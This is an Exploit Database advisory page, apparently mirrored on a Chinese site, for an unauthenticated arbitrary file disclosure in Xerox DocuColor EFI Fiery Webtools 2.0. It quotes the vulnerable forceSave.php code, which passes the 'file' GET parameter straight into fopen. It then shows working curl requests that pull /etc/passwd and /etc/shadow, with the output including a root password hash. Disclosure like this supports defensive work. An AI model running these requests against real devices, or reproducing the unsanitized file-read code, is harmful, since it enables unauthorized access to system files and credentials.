Xerox DC260 EFI Fiery Controller Webtools 2.0 – Arbitrary File Disclosure

• Exploit Database
• 104 阅读

• 作者： LiquidWorm
  日期： 2017-12-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43398/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143

  Xerox DC260 EFI Fiery Controller Webtools 2.0 Arbitrary File Disclosure     Vendor: Electronics for Imaging, Inc. Product web page: http://www.efi.com Affected version: EFI Fiery Controller SW2.0 Xerox DocuColor 260, 250, 242   Summary: Drive production profitability with Fiery servers and workflow products. See which Fiery digital front end is right for your current or future print engines and business needs. Manage all your printers from a single screen using this intuitive print job management interface.   Desc: Input passed thru the &apos;file&apos; GET parameter in &apos;forceSave.php&apos; script is not properly sanitized before being used to read files. This can be exploited by an unauthenticated attacker to read arbitrary files on the affected system.   ====================================================================== /wt3/js/save.js: ----------------   103: function parseSaveMessages() { 104: var urlNode = saveDocument.getElementsByTagName(&apos;url&apos;).item(0); 105: var url = urlNode.firstChild.data; 106: var forcedSaveUrl = "forceSave.php?file=" + url; 107: window.open(forcedSaveUrl, &apos;save_iframe&apos;, &apos;width=1,height=1&apos;);   ====   /wt3/forceSave.php: ------------------- 1. <?php 2. //code posted by chrisputnam at gmail dot com 3. function readfile_chunked($filename,$retbytes=true) 4. { 5. $chunksize = 1*(1024*1024); // how many bytes per chunk 6. $buffer = &apos;&apos;; 7. $cnt =0; 8. // $handle = fopen($filename, &apos;rb&apos;); 9. $handle = fopen($filename, &apos;rb&apos;); 10. if ($handle === false) 11. { 12.return false; 13. } 14. while (!feof($handle)) 15. { 16.//read a chunk 17.$buffer = fread($handle, $chunksize); 18.//send the chunk 19.echo $buffer; 20.//flush the chunk 21.flush(); 22.//increment the size read/sent 23.if ($retbytes) 24.{ 25.$cnt += strlen($buffer); 26.} 27. } 28. //close file 29. $status = fclose($handle); 30. if ($retbytes && $status) 31. { 32.return $cnt; // return num. bytes delivered like readfile() does. 33. } 34. return $status; 35. } 36. 37. $filename = $_GET[&apos;file&apos;]; 38. if(!$filename) 39. { 40. echo "ERROR: No filename specified. Please try again."; 41. } 42. else 43. { 44. // fix for IE caching or PHP bug issue 45. header("Pragma: public"); 46. header("Expires: 0"); // set expiration time 47. header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); 48. // browser must download file from server instead of cache 49. 50. // force download dialog 51. header("Content-Type: application/force-download"); 52. header("Content-Type: application/octet-stream"); 53. header("Content-Type: application/download"); 54. 55. // use the Content-Disposition header to supply a recommended filename and 56. // force the browser to display the save dialog. 57. header("Content-Disposition: attachment; filename=" . basename($filename) . ";"); 58. header("Content-Transfer-Encoding: binary"); 59. 60. header("Content-Length: " . filesize($filename)); 61. 62. set_time_limit(0); 63. readfile_chunked($filename, false); 64. 65. exit(); 66. } 67. 68. ?>   ======================================================================     Tested on: Debian GNU/Linux 3.1 Apache PHP/5.4.41     Vulnerability discovered by Gjoko &apos;LiquidWorm&apos; Krstic @zeroscience     Advisory ID: ZSL-2017-5447 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5447.php     20.12.2017   --     # curl "http://10.0.0.19/wt3/forceSave.php?file=/etc/passwd" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:100:sync:/bin:/bin/sync games:x:5:100:games:/usr/games:/bin/sh ... ...     # curl "http://10.0.0.19/wt3/forceSave.php?file=/etc/shadow" root:LUUVeT6GbOy9I:10978:0:99999:7::: daemon:*:10979:0:99999:7::: bin:*:10979:0:99999:7::: sys:*:10979:0:99999:7::: sync:*:10979:0:99999:7::: games:*:10979:0:99999:7::: ... ...